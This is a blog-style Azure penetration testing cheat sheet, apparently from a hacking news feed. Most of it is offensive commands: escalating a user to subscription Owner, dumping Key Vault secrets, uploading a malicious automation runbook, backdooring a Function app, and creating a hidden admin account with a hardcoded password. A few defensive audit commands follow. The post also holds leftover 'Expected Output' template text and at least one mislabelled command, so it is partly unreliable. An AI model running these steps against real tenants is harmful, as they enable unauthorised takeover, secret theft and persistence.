Azure penetration testing involves assessing the security of Microsoft Azure cloud environments to identify vulnerabilities and misconfigurations. Below are key tools, techniques, and commands used in Azure pentesting.
You Should Know:
1. Reconnaissance & Enumeration
- Azure CLI: Used to interact with Azure services.
az login az account list az ad user list
- MicroBurst: A PowerShell-based framework for Azure security assessments.
Import-Module .\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base companyname
- ROADtools: Extracts Azure AD data for analysis.
roadrecon auth -u [email protected] roadrecon gather
2. Exploiting Misconfigurations
- Storage Account Attacks:
az storage blob list --account-name vulnstorage --container-name public --auth-mode login
- Privilege Escalation via Role Assignments:
Get-AzRoleAssignment -Scope /subscriptions/{sub-id} New-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName [email protected]).Id -RoleDefinitionName "Owner" -Scope /subscriptions/{sub-id}
3. Post-Exploitation & Lateral Movement
- Dumping Key Vault Secrets:
az keyvault secret list --vault-name targetvault az keyvault secret show --name AdminPassword --vault-name targetvault
- Running Custom Scripts via Automation Accounts:
Set-AzAutomationRunbook -Name "MaliciousRunbook" -ResourceGroupName "TargetRG" -AutomationAccountName "TargetAA" -ScriptPath ./malicious.ps1
4. Defensive Evasion & Persistence
- Backdooring Azure Functions:
az functionapp deployment source config-zip -g TargetRG -n MaliciousFunction --src ./backdoor.zip
- Creating Shadow Admins:
New-AzADUser -DisplayName "HiddenAdmin" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -UserPrincipalName "[email protected]" New-AzRoleAssignment -ObjectId (Get-AzADUser -UserPrincipalName [email protected]).Id -RoleDefinitionName "Contributor" -Scope /
What Undercode Say
Azure penetration testing requires deep knowledge of cloud security misconfigurations, identity management flaws, and privilege escalation paths. Key takeaways:
– Always check Role-Based Access Control (RBAC) for excessive permissions.
– Audit Storage Accounts for publicly accessible blobs.
– Monitor Automation Accounts & Functions for malicious script execution.
– Use Azure Sentinel or Defender for Cloud for threat detection.
Essential Commands for Azure Security
Check for exposed credentials in logs
az monitor activity-log list --query "[].{Operation:operationName.value, Caller:caller}"
List all VMs in a subscription
az vm list -o table
Check JIT (Just-In-Time) VM access status
az security jit-policy list
Scan for vulnerable NSGs (Network Security Groups)
az network nsg list --query "[].{Name:name, Ports:securityRules[].destinationPortRange}"
Prediction
As Azure adoption grows, attackers will increasingly target misconfigured cloud environments, automation tools, and identity systems. Expect more AI-driven attack automation and cloud-native malware in 2024-2025.
Expected Output:
- Azure penetration testing techniques
- Exploitation commands for Azure misconfigurations
- Defensive evasion tactics in cloud environments
- Future predictions on Azure security threats
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Reported By: Sumitjainofficial Azure – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
